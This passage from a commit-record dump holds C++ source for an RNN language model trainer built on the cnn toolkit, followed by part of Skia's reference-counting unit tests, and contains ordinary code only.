(vm.count(\"nmn\")) flavour = \"nmn\";\n  else\t\t\tflavour = \"rnn\";\n\n\n  LAYERS = vm[\"layers\"].as<int>();\n  HIDDEN_DIM = vm[\"hidden\"].as<int>();\n\n  bool generateSample = false;\n  generateSample = vm[\"generate\"].as<bool>();\n\n  string fname;\n  if (vm.count(\"parameters\")) {\n      fname = vm[\"parameters\"].as<string>();\n  }\n  else {\n      ostringstream os;\n      os << \"lm\"\n          << '_' << LAYERS\n          << '_' << HIDDEN_DIM\n          << '_' << flavour\n          << \"-pid\" << getpid() << \".params\";\n      fname = os.str();\n  }\n\n  cerr << \"Parameters will be written to: \" << fname << endl;\n\n  if (vm.count(\"help\") || vm.count(\"train\") != 1 || (vm.count(\"devel\") != 1 && vm.count(\"test\") != 1)) {\n      cout << opts << \"\\n\";\n      return 1;\n  }\n\n  kSOS = d.Convert(\"<s>\");\n  kEOS = d.Convert(\"<\/s>\");\n  vector<vector<int>> training, dev, test;\n  string line;\n  int tlc = 0;\n  int ttoks = 0;\n\n  string infile = vm[\"train\"].as<string>();\n  cerr << \"Reading training data from \" << infile << \"...\\n\";\n\n  {\n    ifstream in(infile);\n    assert(in);\n    while(getline(in, line)) {\n      ++tlc;\n      training.push_back(ReadSentence(line, &d));\n      ttoks += training.back().size();\n      if (training.back().front() != kSOS && training.back().back() != kEOS) {\n\t\t  throw(\"Training sentence in %s : %d didnt start or end with <s>, <\/s>\", infile.c_str(), tlc );\n      }\n    }\n    cerr << tlc << \" lines, \" << ttoks << \" tokens, \" << d.size() << \" types\\n\";\n  }\n  d.Freeze(); \/\/ no new word types allowed\n  VOCAB_SIZE = d.size();\n\n  if (vm.count(\"devel\") > 0)\n  {\n      int dlc = 0;\n      int dtoks = 0;\n      string devfile = vm[\"devel\"].as<string>();\n      cerr << \"Reading training data from \" << devfile << \"...\\n\";\n      {\n          ifstream in(devfile);\n          assert(in);\n          while (getline(in, line)) {\n              ++dlc;\n              dev.push_back(ReadSentence(line, &d));\n              dtoks += dev.back().size();\n\t\t\t  if (dev.back().front() != kSOS && dev.back().back() != kEOS) {\n\t\t\t\t  throw(\"Dev sentence in %s : %d didn't start or end with <s>, <\/s> \", devfile.c_str(), tlc);\n\t\t\t  }\n          }\n          cerr << dlc << \" lines, \" << dtoks << \" tokens\\n\";\n      }\n  }\n\n  Model model;\n  bool use_momentum = false;\n  Trainer* sgd = nullptr;\n  if (use_momentum)\n    sgd = new MomentumSGDTrainer(&model);\n  else\n    sgd = new SimpleSGDTrainer(&model);\n\n  if (vm.count(\"test\") == 0)\n  {\n      if (vm.count(\"lstm\")) {\n          cerr << \"%% Using LSTM recurrent units\" << endl;\n          RNNLanguageModel<LSTMBuilder> lm(model);\n          train(model, lm, training, dev, sgd, fname, generateSample);\n      }\n      else if (vm.count(\"dglstm\")) {\n          cerr << \"%% Using DGLSTM recurrent units\" << endl;\n          RNNLanguageModel<DGLSTMBuilder> lm(model);\n          train(model, lm, training, dev, sgd, fname, generateSample);\n      }\n  }\n  else\n  {\n      string testfile = vm[\"test\"].as<string>();\n      int dlc = 0;\n      int dtoks = 0;\n      cerr << \"Reading training data from \" << testfile << \"...\\n\";\n      {\n          ifstream in(testfile);\n          assert(in);\n          while (getline(in, line)) {\n              ++dlc;\n              test.push_back(ReadSentence(line, &d));\n              dtoks += test.back().size();\n\t\t\t  if (test.back().front() != kSOS && test.back().back() != kEOS) {\n\t\t\t\t  throw(\"Dev sentence in %s : %d didnt start or end with <s>, <\/s> \", testfile.c_str(), tlc);\n\t\t\t  }\n          }\n          cerr << dlc << \" lines, \" << dtoks << \" tokens\\n\";\n      }\n\n      if (vm.count(\"test\"))\n      {\n          if (vm.count(\"lstm\")){\n              cerr << \"%% using LSTM recurrent units\" << endl;\n              RNNLanguageModel<LSTMBuilder> lm(model);\n              if (vm.count(\"initialise\"))\n                  initialise(model, vm[\"initialise\"].as<string>());\n              testcorpus(model, lm, test);\n          }\n          if (vm.count(\"dglstm\")){\n              cerr << \"%% using DGLSTM recurrent units\" << endl;\n              RNNLanguageModel<DGLSTMBuilder> lm(model);\n              if (vm.count(\"initialise\"))\n                  initialise(model, vm[\"initialise\"].as<string>());\n              testcorpus(model, lm, test);\n          }\n      }\n  }\n\n  \/\/RNNLanguageModel<SimpleRNNBuilder> lm(model);\n  if (argc == 4) {\n    string fname = argv[3];\n    ifstream in(fname);\n    boost::archive::text_iarchive ia(in);\n    ia >> model;\n  }\n\n  delete sgd;\n}\n\n<commit_msg>use log_softmax for rnnlm2<commit_after>#include \"cnn\/nodes.h\"\n#include \"cnn\/cnn.h\"\n#include \"cnn\/training.h\"\n#include \"cnn\/timing.h\"\n#include \"cnn\/rnn.h\"\n#include \"cnn\/gru.h\"\n#include \"cnn\/lstm.h\"\n#include \"cnn\/dglstm.h\"\n#include \"cnn\/dict.h\"\n#include \"cnn\/expr.h\"\n#include \"cnn\/cnn-helper.h\"\n#include \"cnn\/expr-xtra.h\"\n#include <iostream>\n#include <fstream>\n#include <sstream>\n\n#include <boost\/archive\/text_iarchive.hpp>\n#include <boost\/archive\/text_oarchive.hpp>\n#include <boost\/archive\/text_iarchive.hpp>\n#include <boost\/archive\/text_oarchive.hpp>\n#include <boost\/program_options\/parsers.hpp>\n#include <boost\/program_options\/variables_map.hpp>\n\nusing namespace std;\nusing namespace cnn;\n\nunsigned int LAYERS = 2;\nunsigned int INPUT_DIM = 8;  \/\/256\nunsigned int HIDDEN_DIM = 24;  \/\/ 1024\nunsigned int VOCAB_SIZE = 0;\n\nint verbose = 0; \n\ncnn::Dict d;\nint kSOS;\nint kEOS;\n\ntemplate <class Builder>\nstruct RNNLanguageModel {\n  LookupParameters* p_c;\n  Parameters* p_R;\n  Parameters* p_bias;\n  Builder builder;\n  explicit RNNLanguageModel(Model& model) : builder(LAYERS, INPUT_DIM, HIDDEN_DIM, &model) {\n    p_c = model.add_lookup_parameters(VOCAB_SIZE, {INPUT_DIM}); \n\tp_R = model.add_parameters({ VOCAB_SIZE, HIDDEN_DIM });\n\tp_bias = model.add_parameters({ VOCAB_SIZE });\n  }\n\n  \/\/ return Expression of total loss\n  Expression BuildLMGraph(const vector<int>& sent, ComputationGraph& cg) {\n    const unsigned slen = sent.size() - 1;\n    builder.new_graph(cg);  \/\/ reset RNN builder for new graph\n    builder.start_new_sequence();\n    Expression i_R = parameter(cg, p_R); \/\/ hidden -> word rep parameter\n    Expression i_bias = parameter(cg, p_bias);  \/\/ word bias\n\tif (verbose)\n\t\tdisplay_value(i_R, cg, \"IR at \");\n\tif (verbose)\n\t\tdisplay_value(i_bias, cg, \"ibias at \");\n\tvector<Expression> errs;\n    for (unsigned t = 0; t < slen; ++t) {\n      Expression i_x_t = lookup(cg, p_c, sent[t]);\n      \/\/ y_t = RNN(x_t)\n      Expression i_y_t = builder.add_input(i_x_t);\n      Expression i_r_t =  i_bias + i_R * i_y_t;\n\t  if (verbose)\n\t\t  display_value(i_r_t, cg, \"response at \" + t);\n      \/\/ we can easily look at intermidiate values\n\/\/      std::vector<cnn::real> r_t = as_vector(i_r_t.value());\n  \/\/    for (cnn::real f : r_t) cout << f << \" \"; cout << endl;\n    \/\/  cout << \"[\" << as_scalar(pick(i_r_t, sent[t+1]).value()) << \"]\" << endl;\n\n      \/\/ LogSoftmax followed by PickElement can be written in one step\n      \/\/ using PickNegLogSoftmax\n#if 1\n      Expression i_ydist = log_softmax(i_r_t);\n      errs.push_back(pick(i_ydist, sent[t+1]));\n#if 0\n      Expression i_ydist = softmax(i_r_t);\n      i_ydist = log(i_ydist)\n      errs.push_back(pick(i_ydist, sent[t+1]));\n#endif\n#else\n      Expression i_err = pickneglogsoftmax(i_r_t, sent[t+1]);\n      errs.push_back(i_err);\n#endif\n    }\n    Expression i_nerr = sum(errs);\n#if 1\n    return -i_nerr;\n#else\n    return i_nerr;\n#endif\n  }\n\n  \/\/ return Expression for total loss\n  void RandomSample(int max_len = 150) {\n    cerr << endl;\n    ComputationGraph cg;\n    builder.new_graph(cg);  \/\/ reset RNN builder for new graph\n    builder.start_new_sequence();\n    \n    Expression i_R = parameter(cg, p_R);\n    Expression i_bias = parameter(cg, p_bias);\n    vector<Expression> errs;\n    int len = 0;\n    int cur = kSOS;\n    while(len < max_len && cur != kEOS) {\n      ++len;\n      Expression i_x_t = lookup(cg, p_c, cur);\n      \/\/ y_t = RNN(x_t)\n      Expression i_y_t = builder.add_input(i_x_t);\n      Expression i_r_t = i_bias + i_R * i_y_t;\n      \n      Expression ydist = softmax(i_r_t);\n      \n      unsigned w = 0;\n      while (w == 0 || (int)w == kSOS) {\n        auto dist = as_vector(cg.incremental_forward());\n        cnn::real p = rand01();\n        for (; w < dist.size(); ++w) {\n          p -= dist[w];\n          if (p < 0.0) { break; }\n        }\n        if (w == dist.size()) w = kEOS;\n      }\n      cerr << (len == 1 ? \"\" : \" \") << d.Convert(w);\n      cur = w;\n    }\n    cerr << endl;\n  }\n};\n\ntemplate <class LM_t>\nvoid train(Model &model, LM_t &lm,\n    const vector<vector<int>>& training,\n    const vector<vector<int>>& dev,\n    Trainer *sgd, const string& fname,\n    bool randomSample)\n{\n    cnn::real best = 9e+99;\n    unsigned report_every_i = 50;\n    unsigned dev_every_i_reports = 500;\n    unsigned si = training.size();\n    vector<unsigned> order(training.size());\n    for (unsigned i = 0; i < order.size(); ++i) order[i] = i;\n    bool first = true;\n    int report = 0;\n    unsigned lines = 0;\n    unsigned total_epoch = 40;\n\n    ofstream out(fname, ofstream::out);\n    boost::archive::text_oarchive oa(out);\n    oa << model;\n    out.close();\n\n    size_t i_epoch = 0;\n    while (sgd->epoch < total_epoch) {\n        Timer iteration(\"completed in\");\n        cnn::real loss = 0;\n        unsigned chars = 0;\n        for (unsigned i = 0; i < report_every_i; ++i) {\n            if (si == training.size()) {\n                si = 0;\n                if (first) { first = false; }\n                else { sgd->update_epoch(); }\n                cerr << \"**SHUFFLE\\n\";\n                shuffle(order.begin(), order.end(), *rndeng);\n            }\n\n            \/\/ build graph for this instance\n            ComputationGraph cg;\n            auto& sent = training[order[si]];\n            chars += sent.size() - 1;\n            ++si;\n            lm.BuildLMGraph(sent, cg);\n            loss += as_scalar(cg.forward());\n            cg.backward();\n            sgd->update();\n            ++lines;\n        }\n        sgd->status();\n        cerr << \" report = \" << report << \" E = \" << (loss \/ chars) << \" ppl=\" << exp(loss \/ chars) << ' ';\n\n        if (randomSample)\n            lm.RandomSample();\n\n        \/\/ show score on dev data?\n        report++;\n        if (report % dev_every_i_reports == 0) {\n            cnn::real dloss = 0;\n            int dchars = 0;\n            for (auto& sent : dev) {\n                ComputationGraph cg;\n                lm.BuildLMGraph(sent, cg);\n                dloss += as_scalar(cg.forward());\n                dchars += sent.size() - 1;\n            }\n            if (dloss < best) {\n                best = dloss;\n                ofstream out(fname, ofstream::out);\n                boost::archive::text_oarchive oa(out);\n                oa << model;\n                out.close();\n            }\n            else{\n                sgd->eta *= 0.5;\n            }\n            cerr << \"\\n***TEST E = \" << (dloss \/ dchars) << \" ppl=\" << exp(dloss \/ dchars) << ' ';\n        }\n\n        i_epoch++;\n    }\n}\n\ntemplate <class LM_t>\nvoid testcorpus(Model &model, LM_t &lm,\n    const vector<vector<int>>& dev)\n{\n    unsigned lines = 0;\n    cnn::real dloss = 0;\n    int dchars = 0;\n    for (auto& sent : dev) {\n        ComputationGraph cg;\n        lm.BuildLMGraph(sent, cg);\n        dloss += as_scalar(cg.forward());\n        dchars += sent.size() - 1;\n    }\n\n    cerr << \"\\n***DEV [epoch=\" << (lines \/ (cnn::real)dev.size()) << \"] E = \" << (dloss \/ dchars) << \" ppl=\" << exp(dloss \/ dchars) << ' ';\n}\n\nvoid initialise(Model &model, const string &filename)\n{\n    cerr << \"Initialising model parameters from file: \" << filename << endl;\n    ifstream in(filename, ifstream::in);\n    boost::archive::text_iarchive ia(in);\n    ia >> model;\n}\n\nint main(int argc, char** argv) {\n  cnn::Initialize(argc, argv);\n\n  \/\/ command line processing\n  using namespace boost::program_options;\n  variables_map vm;\n  options_description opts(\"Allowed options\");\n  opts.add_options()\n      (\"help\", \"print help message\")\n      (\"seed,s\", value<int>()->default_value(217), \"random seed number\")\n      (\"train,t\", value<string>(), \"file containing training sentences\")\n      (\"devel,d\", value<string>(), \"file containing development sentences.\")\n      (\"test,T\", value<string>(), \"file containing testing source sentences\")\n      (\"initialise,i\", value<string>(), \"load initial parameters from file\")\n      (\"parameters,p\", value<string>(), \"save best parameters to this file\")\n      (\"layers,l\", value<int>()->default_value(LAYERS), \"use <num> layers for RNN components\")\n      (\"hidden,h\", value<int>()->default_value(HIDDEN_DIM), \"use <num> dimensions for recurrent hidden states\")\n      (\"gru\", \"use Gated Recurrent Unit (GRU) for recurrent structure; default RNN\")\n      (\"lstm\", \"use Long Short Term Memory (GRU) for recurrent structure; default RNN\")\n      (\"dglstm\", \"use depth-gated LSTM for recurrent structure; default RNN\")\n      (\"verbose,v\", \"be extremely chatty\")\n      (\"generate,g\", value<bool>()->default_value(false), \"generate random samples\")\n      ;\n  store(parse_command_line(argc, argv, opts), vm);\n\n  string flavour;\n  if (vm.count(\"gru\"))\tflavour = \"gru\";\n  else if (vm.count(\"lstm\"))\tflavour = \"lstm\";\n  else if (vm.count(\"rnnem\"))\tflavour = \"rnnem\";\n  else if (vm.count(\"dglstm\")) flavour = \"dglstm\";\n  else if (vm.count(\"nmn\")) flavour = \"nmn\";\n  else\t\t\tflavour = \"rnn\";\n\n\n  LAYERS = vm[\"layers\"].as<int>();\n  HIDDEN_DIM = vm[\"hidden\"].as<int>();\n\n  bool generateSample = false;\n  generateSample = vm[\"generate\"].as<bool>();\n\n  string fname;\n  if (vm.count(\"parameters\")) {\n      fname = vm[\"parameters\"].as<string>();\n  }\n  else {\n      ostringstream os;\n      os << \"lm\"\n          << '_' << LAYERS\n          << '_' << HIDDEN_DIM\n          << '_' << flavour\n          << \"-pid\" << getpid() << \".params\";\n      fname = os.str();\n  }\n\n  cerr << \"Parameters will be written to: \" << fname << endl;\n\n  if (vm.count(\"help\") || vm.count(\"train\") != 1 || (vm.count(\"devel\") != 1 && vm.count(\"test\") != 1)) {\n      cout << opts << \"\\n\";\n      return 1;\n  }\n\n  kSOS = d.Convert(\"<s>\");\n  kEOS = d.Convert(\"<\/s>\");\n  vector<vector<int>> training, dev, test;\n  string line;\n  int tlc = 0;\n  int ttoks = 0;\n\n  string infile = vm[\"train\"].as<string>();\n  cerr << \"Reading training data from \" << infile << \"...\\n\";\n\n  {\n    ifstream in(infile);\n    assert(in);\n    while(getline(in, line)) {\n      ++tlc;\n      training.push_back(ReadSentence(line, &d));\n      ttoks += training.back().size();\n      if (training.back().front() != kSOS && training.back().back() != kEOS) {\n\t\t  throw(\"Training sentence in %s : %d didnt start or end with <s>, <\/s>\", infile.c_str(), tlc );\n      }\n    }\n    cerr << tlc << \" lines, \" << ttoks << \" tokens, \" << d.size() << \" types\\n\";\n  }\n  d.Freeze(); \/\/ no new word types allowed\n  VOCAB_SIZE = d.size();\n\n  if (vm.count(\"devel\") > 0)\n  {\n      int dlc = 0;\n      int dtoks = 0;\n      string devfile = vm[\"devel\"].as<string>();\n      cerr << \"Reading training data from \" << devfile << \"...\\n\";\n      {\n          ifstream in(devfile);\n          assert(in);\n          while (getline(in, line)) {\n              ++dlc;\n              dev.push_back(ReadSentence(line, &d));\n              dtoks += dev.back().size();\n\t\t\t  if (dev.back().front() != kSOS && dev.back().back() != kEOS) {\n\t\t\t\t  throw(\"Dev sentence in %s : %d didn't start or end with <s>, <\/s> \", devfile.c_str(), tlc);\n\t\t\t  }\n          }\n          cerr << dlc << \" lines, \" << dtoks << \" tokens\\n\";\n      }\n  }\n\n  Model model;\n  bool use_momentum = false;\n  Trainer* sgd = nullptr;\n  if (use_momentum)\n    sgd = new MomentumSGDTrainer(&model);\n  else\n    sgd = new SimpleSGDTrainer(&model);\n\n  if (vm.count(\"test\") == 0)\n  {\n      if (vm.count(\"lstm\")) {\n          cerr << \"%% Using LSTM recurrent units\" << endl;\n          RNNLanguageModel<LSTMBuilder> lm(model);\n          train(model, lm, training, dev, sgd, fname, generateSample);\n      }\n      else if (vm.count(\"dglstm\")) {\n          cerr << \"%% Using DGLSTM recurrent units\" << endl;\n          RNNLanguageModel<DGLSTMBuilder> lm(model);\n          train(model, lm, training, dev, sgd, fname, generateSample);\n      }\n  }\n  else\n  {\n      string testfile = vm[\"test\"].as<string>();\n      int dlc = 0;\n      int dtoks = 0;\n      cerr << \"Reading training data from \" << testfile << \"...\\n\";\n      {\n          ifstream in(testfile);\n          assert(in);\n          while (getline(in, line)) {\n              ++dlc;\n              test.push_back(ReadSentence(line, &d));\n              dtoks += test.back().size();\n\t\t\t  if (test.back().front() != kSOS && test.back().back() != kEOS) {\n\t\t\t\t  throw(\"Dev sentence in %s : %d didnt start or end with <s>, <\/s> \", testfile.c_str(), tlc);\n\t\t\t  }\n          }\n          cerr << dlc << \" lines, \" << dtoks << \" tokens\\n\";\n      }\n\n      if (vm.count(\"test\"))\n      {\n          if (vm.count(\"lstm\")){\n              cerr << \"%% using LSTM recurrent units\" << endl;\n              RNNLanguageModel<LSTMBuilder> lm(model);\n              if (vm.count(\"initialise\"))\n                  initialise(model, vm[\"initialise\"].as<string>());\n              testcorpus(model, lm, test);\n          }\n          if (vm.count(\"dglstm\")){\n              cerr << \"%% using DGLSTM recurrent units\" << endl;\n              RNNLanguageModel<DGLSTMBuilder> lm(model);\n              if (vm.count(\"initialise\"))\n                  initialise(model, vm[\"initialise\"].as<string>());\n              testcorpus(model, lm, test);\n          }\n      }\n  }\n\n  \/\/RNNLanguageModel<SimpleRNNBuilder> lm(model);\n  if (argc == 4) {\n    string fname = argv[3];\n    ifstream in(fname);\n    boost::archive::text_iarchive ia(in);\n    ia >> model;\n  }\n\n  delete sgd;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2012 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"SkRefCnt.h\"\n#include \"SkThreadUtils.h\"\n#include \"SkTypes.h\"\n#include \"SkWeakRefCnt.h\"\n#include \"Test.h\"\n\nstatic void bounce_ref(void* data) {\n    SkRefCnt* ref = static_cast<SkRefCnt*>(data);\n    for (int i = 0; i < 100000; ++i) {\n        ref->ref();\n        ref->unref();\n    }\n}\n\nstatic void test_refCnt(skiatest::Reporter* reporter) {\n    SkRefCnt* ref = new SkRefCnt();\n\n    SkThread thing1(bounce_ref, ref);\n    SkThread thing2(bounce_ref, ref);\n\n    SkASSERT(thing1.start());\n    SkASSERT(thing2.start());\n\n    thing1.join();\n    thing2.join();\n\n    REPORTER_ASSERT(reporter, ref->unique());\n    ref->unref();\n}\n\nstatic void bounce_weak_ref(void* data) {\n    SkWeakRefCnt* ref = static_cast<SkWeakRefCnt*>(data);\n    for (int i = 0; i < 100000; ++i) {\n        if (ref->try_ref()) {\n            ref->unref();\n        }\n    }\n}\n\nstatic void bounce_weak_weak_ref(void* data) {\n    SkWeakRefCnt* ref = static_cast<SkWeakRefCnt*>(data);\n    for (int i = 0; i < 100000; ++i) {\n        ref->weak_ref();\n        ref->weak_unref();\n    }\n}\n\nstatic void test_weakRefCnt(skiatest::Reporter* reporter) {\n    SkWeakRefCnt* ref = new SkWeakRefCnt();\n\n    SkThread thing1(bounce_ref, ref);\n    SkThread thing2(bounce_ref, ref);\n    SkThread thing3(bounce_weak_ref, ref);\n    SkThread thing4(bounce_weak_weak_ref, ref);\n\n    SkASSERT(thing1.start());\n    SkASSERT(thing2.start());\n    SkASSERT(thing3.start());\n    SkASSERT(thing4.start());\n\n    thing1.join();\n    thing2.join();\n    thing3.join();\n    thing4.join();\n\n    REPORTER_ASSERT(reporter, ref->unique());\n    SkDEBUGCODE(REPORTER_ASSERT(reporter, ref->getWeakCnt() == 1));\n    ref->unref();\n}\n\nDEF_TEST(RefCnt, reporter) {\n    test_refCnt(reporter);\n    test_weakRefCnt(reporter);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic int gRefCounter;\nstatic int gUnrefCounter;\nstatic int gNewCounter;\nstatic int gDeleteCounter;\n\n#define check(reporter, ref, unref, make, kill)             \\\n    REPORTER_ASSERT(reporter, gRefCounter == ref);          \\\n    REPORTER_ASSERT(reporter, gUnrefCounter == unref);      \\\n    REPORTER_ASSERT(reporter, gNewCounter == make);         \\\n    REPORTER_ASSERT(reporter, gDeleteCounter == kill);\n\n\nclass Effect {\npublic:\n    Effect() : fRefCnt(1) {\n        gNewCounter += 1;\n    }\n    virtual ~Effect() {}\n\n    int fRefCnt;\n\n    void ref() {\n        gRefCounter += 1;\n        fRefCnt += 1;\n    }\n    void unref() {\n        gUnrefCounter += 1;\n\n        SkASSERT(fRefCnt > 0);\n        if (0 == --fRefCnt) {\n            gDeleteCounter += 1;\n            delete this;\n        }\n    }\n\n    int* method() const { return new int; }\n};\n\nstatic sk_sp<Effect> Create() {\n    return sk_make_sp<Effect>();\n}\n\nclass Paint {\npublic:\n    sk_sp<Effect> fEffect;\n\n    const sk_sp<Effect>& get() const { return fEffect; }\n\n    void set(sk_sp<Effect> value) {\n        fEffect = std::move(value);\n    }\n};\n\nstruct EffectImpl : public Effect {\n    ~EffectImpl() override {}\n\n    static sk_sp<EffectImpl> Create() {\n        return sk_sp<EffectImpl>(new EffectImpl);\n    }\n    int fValue;\n};\nstatic sk_sp<Effect> make_effect() {\n    auto foo = EffectImpl::Create();\n    foo->fValue = 42;\n    return std::move(foo);\n}\n\nstatic void reset_counters() {\n    gRefCounter = 0;\n    gUnrefCounter = 0;\n    gNewCounter = 0;\n    gDeleteCounter = 0;\n}\nDEF_TEST(sk_sp, reporter) {\n    reset_counters();\n\n    Paint paint;\n    REPORTER_ASSERT(reporter, paint.fEffect.get() == nullptr);\n    REPORTER_ASSERT(reporter, !paint.get());\n    check(reporter, 0, 0, 0, 0);\n\n    paint.set(Create());\n    check(reporter, 0, 0, 1, 0);\n    REPORTER_ASSERT(reporter, paint.fEffect.get()->fRefCnt == 1);\n\n    if (paint.get()) {\n        REPORTER_ASSERT(reporter, true);\n    } else {\n        REPORTER_ASSERT(reporter, false);\n    }\n    if (!paint.get()) {\n        REPORTER_ASSERT(reporter, false);\n    } else {\n        REPORTER_ASSERT(reporter, true);\n    }\n\n    paint.set(nullptr);\n    check(reporter, 0, 1, 1, 1);\n\n    if (paint.get()) {\n        REPORTER_ASSERT(reporter, false);\n    } else {\n        REPORTER_ASSERT(reporter, true);\n    }\n    if (!paint.get()) {\n        REPORTER_ASSERT(reporter, true);\n    } else {\n        REPORTER_ASSERT(reporter, false);\n    }\n\n    auto e = Create();\n    REPORTER_ASSERT(reporter, sizeof(e) == sizeof(void*));\n\n    check(reporter, 0, 1, 2, 1);\n    paint.set(e);\n    check(reporter, 1, 1, 2, 1);\n    REPORTER_ASSERT(reporter, paint.fEffect.get()->fRefCnt == 2);\n\n    Paint paint2;\n    paint2.set(paint.get());\n    check(reporter, 2, 1, 2, 1);\n    REPORTER_ASSERT(reporter, paint.fEffect.get()->fRefCnt == 3);\n\n    \/\/ Test sk_sp::operator->\n    delete paint.get()->method();\n    check(reporter, 2, 1, 2, 1);\n\n    \/\/ Test sk_sp::operator*\n    delete (*paint.get()).method();\n    check(reporter, 2, 1, 2, 1);\n\n    paint.set(nullptr);\n    e = nullptr;\n    paint2.set(nullptr);\n    check(reporter, 2, 4, 2, 2);\n\n    reset_counters();\n    {\n        \/\/ Test convertible sk_sp assignment.\n        check(reporter, 0, 0, 0, 0);\n        sk_sp<Effect> foo(nullptr);\n        REPORTER_ASSERT(reporter, !foo);\n        foo = make_effect();\n        REPORTER_ASSERT(reporter, foo);\n        check(reporter, 0, 0, 1, 0);\n    }\n    check(reporter, 0, 1, 1, 1);\n\n    \/\/ Test passing convertible rvalue into funtion.\n    reset_counters();\n    paint.set(EffectImpl::Create());\n    check(reporter, 0, 0, 1, 0);\n    paint.set(nullptr);\n    check(reporter, 0, 1, 1, 1);\n\n    reset_counters();\n    auto baz = EffectImpl::Create();\n    check(reporter, 0, 0, 1, 0);\n    paint.set(std::move(baz));\n    check(reporter, 0, 0, 1, 0);\n    REPORTER_ASSERT(reporter, !baz);\n    paint.set(nullptr);\n    check(reporter, 0, 1, 1, 1);\n\n    reset_counters();\n    {\n        \/\/ test comparison operator with convertible type.\n        sk_sp<EffectImpl> bar1 = EffectImpl::Create();\n        sk_sp<Effect> bar2(bar1);  \/\/ convertible copy constructor\n        check(reporter, 1, 0, 1, 0);\n        REPORTER_ASSERT(reporter, bar1);\n        REPORTER_ASSERT(reporter, bar2);\n        REPORTER_ASSERT(reporter, bar1 == bar2);\n        REPORTER_ASSERT(reporter, bar2 == bar1);\n        REPORTER_ASSERT(reporter, !(bar1 != bar2));\n        REPORTER_ASSERT(reporter, !(bar2 != bar1));\n        sk_sp<Effect> bar3(nullptr);\n        bar3 = bar1;  \/\/ convertible copy assignment\n        check(reporter, 2, 0, 1, 0);\n\n    }\n    check(reporter, 2, 3, 1, 1);\n\n    \/\/ test passing convertible copy into funtion.\n    reset_counters();\n    baz = EffectImpl::Create();\n    check(reporter, 0, 0, 1, 0);\n    paint.set(baz);\n    check(reporter, 1, 0, 1, 0);\n    baz = nullptr;\n    check(reporter, 1, 1, 1, 0);\n    paint.set(nullptr);\n    check(reporter, 1, 2, 1, 1);\n\n    {\n        sk_sp<SkRefCnt> empty;\n        sk_sp<SkRefCnt> notEmpty = sk_make_sp<SkRefCnt>();\n        REPORTER_ASSERT(reporter, empty == sk_sp<SkRefCnt>());\n\n        REPORTER_ASSERT(reporter, notEmpty != empty);\n        REPORTER_ASSERT(reporter, empty != notEmpty);\n\n        REPORTER_ASSERT(reporter, nullptr == empty);\n        REPORTER_ASSERT(reporter, empty == nullptr);\n        REPORTER_ASSERT(reporter, empty == empty);\n\n        REPORTER_ASSERT(reporter, nullptr <= empty);\n        REPORTER_ASSERT(reporter, empty <= nullptr);\n        REPORTER_ASSERT(reporter, empty <= empty);\n\n        REPORTER_ASSERT(reporter, nullptr >= empty);\n        REPORTER_ASSERT(reporter, empty >= nullptr);\n        REPORTER_ASSERT(reporter, empty >= empty);\n    }\n\n    {\n        sk_sp<SkRefCnt> a = sk_make_sp<SkRefCnt>();\n        sk_sp<SkRefCnt> b = sk_make_sp<SkRefCnt>();\n        REPORTER_ASSERT(reporter, a != b);\n        REPORTER_ASSERT(reporter, (a < b) != (b < a));\n        REPORTER_ASSERT(reporter, (b > a) != (a > b));\n        REPORTER_ASSERT(reporter, (a <= b) != (b <= a));\n        REPORTER_ASSERT(reporter, (b >= a) != (a >= b));\n\n        REPORTER_ASSERT(reporter, a == a);\n        REPORTER_ASSERT(reporter, a <= a);\n        REPORTER_ASSERT(reporter, a >= a);\n    }\n\n    \/\/ http:\/\/wg21.cmeerw.net\/lwg\/issue998\n    {\n        class foo : public SkRefCnt {\n        public:\n            foo() : bar(this) {}\n            void reset() { bar.reset(); }\n        private:\n            sk_sp<foo> bar;\n        };\n        \/\/ The following should properly delete the object and not cause undefined behavior.\n        \/\/ This is an ugly example, but the same issue can arise in more subtle ways.\n        (new foo)->reset();\n    }\n\n    \/\/ https:\/\/crrev.com\/0d4ef2583a6f19c3e61be04d36eb1a60b133832c\n    {\n        struct StructB;\n        struct StructA : public SkRefCnt {\n            sk_sp<StructB> b;\n        };\n\n        struct StructB : public SkRefCnt {\n            sk_sp<StructA> a;\n            ~StructB() override {} \/\/ Some clang versions don't emit this implicitly.\n        };\n\n        \/\/ Create a reference cycle.\n        StructA* a = new StructA;\n        a->b.reset(new StructB);\n        a->b->a.reset(a);\n\n        \/\/ Break the cycle by calling reset(). This will cause |a| (and hence, |a.b|)\n        \/\/ to be deleted before the call to reset() returns. This tests that the\n        \/\/ implementation of sk_sp::reset() doesn't access |this| after it\n        \/\/ deletes the underlying pointer. This behaviour is consistent with the\n        \/\/ definition of unique_ptr::reset in C++11.\n        a->b.reset();\n    }\n}\n\nnamespace {\nstruct FooAbstract : public SkRefCnt {\n    virtual void f() = 0;\n};\nstruct FooConcrete : public FooAbstract {\n    void f() override {}\n};\n}\nstatic sk_sp<FooAbstract> make_foo() {\n    \/\/ can not cast FooConcrete to FooAbstract.\n    \/\/ can cast FooConcrete* to FooAbstract*.\n    return sk_make_sp<FooConcrete>();\n}\nDEF_TEST(sk_make_sp, r) {\n    auto x = make_foo();\n}\n\n\/\/ Test that reset() \"adopts\" ownership from the caller, even if we are given the same ptr twice\n\/\/\nDEF_TEST(sk_sp_reset, r) {\n    SkRefCnt* rc = new SkRefCnt;\n    REPORTER_ASSERT(r, rc->unique());\n\n    sk_sp<SkRefCnt> sp;\n    sp.reset(rc);\n    \/\/ We have transfered our ownership over to sp\n    REPORTER_ASSERT(r, rc->unique());\n\n    rc->ref();  \/\/ now \"rc\" is also an owner\n    REPORTER_ASSERT(r, !rc->unique());\n\n    sp.reset(rc);   \/\/ this should transfer our ownership over to sp\n    REPORTER_ASSERT(r, rc->unique());\n}\n\nDEF_TEST(sk_sp_ref, r) {\n    SkRefCnt* rc = new SkRefCnt;\n    REPORTER_ASSERT(r, rc->unique());\n\n    {\n        sk_sp<SkRefCnt> sp = sk_ref_sp(rc);\n        REPORTER_ASSERT(r, !rc->unique());\n    }\n\n    REPORTER_ASSERT(r, 